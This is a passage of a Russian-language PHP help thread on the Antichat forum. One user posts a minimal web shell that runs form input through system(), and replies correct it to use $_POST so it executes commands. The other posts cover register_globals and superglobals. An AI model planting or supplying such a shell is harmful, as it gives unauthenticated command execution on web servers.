HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #7411  
Старый 02.01.2009, 15:49
diznt
Постоянный
Регистрация: 31.01.2008
Сообщений: 643
С нами: 9619229

Репутация: 445


По умолчанию

У меня есть код так вот будет ли он работать? если нет то подправьте что не так и опишите что вы подправили и зачем

Код:
<html>
<body>
<form action="" method=POST>
<input type=text name=cmd size=35>
<input type=submit name="msg_submit" value="execute">
</form>
<?
 system(cmd);
?>
</body>
</html>
Код типа минишелла
 
Ответить с цитированием

  #7412  
Старый 02.01.2009, 15:58
Joker-jar
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
С нами: 10088966

Репутация: 646


По умолчанию

diznt, на сервере должен быть отключен safe mode

Код:
system(cmd);
В зависимости от register_globals, возможно, придется переделать в

Код:
system($_POST['cmd']);
 
Ответить с цитированием

  #7413  
Старый 02.01.2009, 16:01
diznt
Постоянный
Регистрация: 31.01.2008
Сообщений: 643
С нами: 9619229

Репутация: 445


По умолчанию

то есть так должен впринцыпе работать?
 
Ответить с цитированием

  #7414  
Старый 02.01.2009, 16:11
Gifts
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
С нами: 9497186

Репутация: 1304


По умолчанию

diznt скорее НЕ будет, потому что рег.глобалс по умолчанию выключен, и на многих хостингах system находится в disable_functions
 
Ответить с цитированием

  #7415  
Старый 02.01.2009, 17:09
[dei]
Участник форума
Регистрация: 24.11.2008
Сообщений: 205
С нами: 9190406

Репутация: 362
По умолчанию

Код:
system(cmd);
эй, а где знак доллара перед переменной?
 
Ответить с цитированием

  #7416  
Старый 02.01.2009, 17:15
Jino
Новичок
Регистрация: 27.09.2007
Сообщений: 22
С нами: 9800811

Репутация: 0
По умолчанию

Изучаю PHP, возникла следующая проблема.


Первая страница.
Код:
<form action = "http://test/test.php" method="get">
   HDD: <input type="text" name="HDD"/><br>
   CDROM: <input type="text" name="CDROM"/><br>
<input type="submit"/>
Соответственно имеем два поля ввода и при нажатии на кнопку отправить переходим на test.php

Код:
http://test/test.php?HDD=a&CDROM=c
Если я правильно понимаю суть, то должны создаваться переменные $HDD и $CDROM с значениями, введенными на первой странице.

При попытке вывода в test.php

PHP код:
<?
echo ("<p>$HDD</p>");
echo (
"<p>$CDROM</p>");
?>
не выводится ничего.

В чем ошибка?
 
Ответить с цитированием

  #7417  
Старый 02.01.2009, 17:17
MaTpOc
Познавший АНТИЧАТ
Регистрация: 05.05.2008
Сообщений: 1,078
С нами: 9482786

Репутация: 1357


По умолчанию

Парни, мне вот нужно пхп внедрять в хмль, все советуют прогу DW но она у меня не устанавливается, хз по какой причине(вроде она запустилась но как только окно программы появляется оно тут же закрывается и пишет что этой программой нелья пользоваться!) вот, мб есть и другие программы не хуже этого Dreamweaver?
 
Ответить с цитированием

  #7418  
Старый 02.01.2009, 17:18
5triker
Участник форума
Регистрация: 05.04.2007
Сообщений: 150
С нами: 10052876

Репутация: 77
По умолчанию

register_globals off
пиши $_GET['HDD'] и $_GET['CDROM']
 
Ответить с цитированием

  #7419  
Старый 02.01.2009, 17:22
Gifts
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
С нами: 9497186

Репутация: 1304


По умолчанию

MaTpOc Notepad
 
Ответить с цитированием

  #7420  
Старый 02.01.2009, 17:26
[dei]
Участник форума
Регистрация: 24.11.2008
Сообщений: 205
С нами: 9190406

Репутация: 362
По умолчанию

Jino
есть такая директива как register_globals, так вот, когда она включена, то переменные ведут себя так как ты написал, т.е. регистрируются в начале, это не безопасно и дефолту везде выключено.
Нужно обращаться через суперглобальные массивы.
PHP код:
echo $_GET['HDD'];//get
echo $_POST['HDD1'];//post 
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 21 (пользователей: 0 , гостей: 21)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.